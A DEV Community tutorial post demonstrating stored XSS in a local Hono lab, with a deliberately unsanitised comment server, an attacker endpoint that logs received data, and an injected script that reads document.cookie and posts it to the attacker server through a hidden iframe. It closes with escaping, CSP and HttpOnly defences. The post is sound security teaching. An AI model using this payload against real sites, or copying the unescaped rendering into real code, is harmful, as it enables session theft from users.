DEV Community

kaazzu
kaazzu

Posted on

Understanding Stored XSS Attacks and How to Mitigate Them with Hono

In this article, I'll explain how a Cross-Site Scripting (XSS) attack works and walk through a simple example of implementing and testing a stored XSS attack using Hono. I’ll also provide code samples for both the victim's and the attacker’s setup, along with ways to defend against such attacks.

How XSS Attacks Work

Cross-Site Scripting (XSS) is a type of web vulnerability that allows an attacker to inject malicious scripts into a web page. When other users visit the page or perform certain actions, the script executes in their browser, potentially compromising their data or leading to unauthorized actions.

Types of XSS Attacks

  1. Stored XSS Attack: The attacker submits a script through a feature like a comment section. When other users view the page, the malicious script runs in their browser.

  2. Reflected XSS Attack: The attacker tricks the user into clicking a link that sends a request to the server, reflecting the script in the response and executing it.

  3. DOM-based XSS Attack: The script executes directly within the browser as a result of DOM manipulation.

In this post, we'll focus on stored XSS, demonstrating how it works and how to prevent it.

Setting up the Attack

We’ll create two servers using Hono, one for the victim (localhost:3000) and one for the attacker (localhost:4000).

Victim's Server

The victim's server has a simple comment submission and display feature. We’ll also set a cookie in the user’s browser to represent session data that the attacker will try to steal.

index.ts for the Victim's Server

import { Hono } from "hono";
import { setCookie } from "hono/cookie";

const app = new Hono();

let comments = [];

app.get("/", (c) => {
  setCookie(c, "session_id", "test"); // Setting a test session cookie
  const commentList = comments.map((comment) => `<li>${comment}</li>`).join("");

  const html = `
    <html>
      <body>
        <form action="/comment" method="POST">
          <input type="text" name="comment" placeholder="Enter a comment..." required />
          <button type="submit">Submit</button>
        </form>
        <ul>${commentList}</ul>
      </body>
    </html>
  `;

  return c.html(html);
});

app.post("/comment", async (c) => {
  const { comment } = await c.req.parseBody();
  comments.push(comment); // Store the comment without any sanitization (for demonstration)
  return c.redirect("/");
});

export default app;
Enter fullscreen mode Exit fullscreen mode

This server allows users to submit comments, which will display on the same page. A session cookie, session_id, is also set in the browser.

Attacker's Server

The attacker's server is set up to receive and log data sent by the victim's server through a malicious script embedded in a comment.

index.ts for the Attacker's Server

import { Hono } from "hono";

const app = new Hono();

app.get("/", (c) => {
  return c.text("Hello Hono!");
});

app.post("/steal-data", async (c) => {
  const data = await c.req.parseBody();
  console.log("Stolen Data:", data);
  return c.text("Data received");
});

export default {
  port: 4000,
  fetch: app.fetch,
};
Enter fullscreen mode Exit fullscreen mode

This server listens for any incoming data and logs it to the console.

Launching the Attack

The attacker injects the following script into the victim's comment section:

<script>
  (function() {
    const stolenData = document.cookie;
    const iframe = document.createElement('iframe');
    iframe.style.display = 'none';
    iframe.name = 'hiddenIframe';
    document.body.appendChild(iframe);
    const form = document.createElement('form');
    form.action = 'http://localhost:4000/steal-data';
    form.method = 'POST';
    form.target = 'hiddenIframe';
    const hiddenField = document.createElement('input');
    hiddenField.type = 'hidden';
    hiddenField.name = 'cookie';
    hiddenField.value = stolenData;
    form.appendChild(hiddenField);
    document.body.appendChild(form);
    form.submit();
  })();
</script>
Enter fullscreen mode Exit fullscreen mode

When this script is submitted as a comment, it captures the user's cookie (document.cookie) and sends it to the attacker's server in a hidden iframe.

Preventing Stored XSS Attacks

To protect against XSS attacks, consider the following defenses:

1. Escaping User Input

Escaping special characters before displaying user-generated content prevents scripts from executing as HTML.

function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

const commentList = comments.map((comment) => `<li>${escapeHTML(comment)}</li>`).join("");
Enter fullscreen mode Exit fullscreen mode

2. Setting Content Security Policy (CSP) Headers

Using CSP headers limits where scripts can load from, making it harder for attackers to run unauthorized scripts.

import { secureHeaders } from "hono/secure-headers";

app.use(
  "*",
  secureHeaders({
    contentSecurityPolicy: {
      scriptSrc: ["'self'"],
    },
  })
);
Enter fullscreen mode Exit fullscreen mode

3. Using HttpOnly Cookies

Setting the HttpOnly flag on cookies makes them inaccessible to JavaScript, preventing them from being stolen by XSS attacks.

setCookie(c, "session_id", "test", { httpOnly: true });
Enter fullscreen mode Exit fullscreen mode

This flag ensures the session_id cookie cannot be accessed through JavaScript, adding another layer of security.

Conclusion

Stored XSS attacks can have severe implications, allowing attackers to steal user data or perform actions on behalf of users. By implementing proper input sanitization, configuring CSP headers, and using HttpOnly cookies, you can mitigate the risk of XSS attacks and protect user data.

Feel free to try out this example in a safe, local environment, and implement these defenses in your applications to safeguard against XSS attacks.

Top comments (0)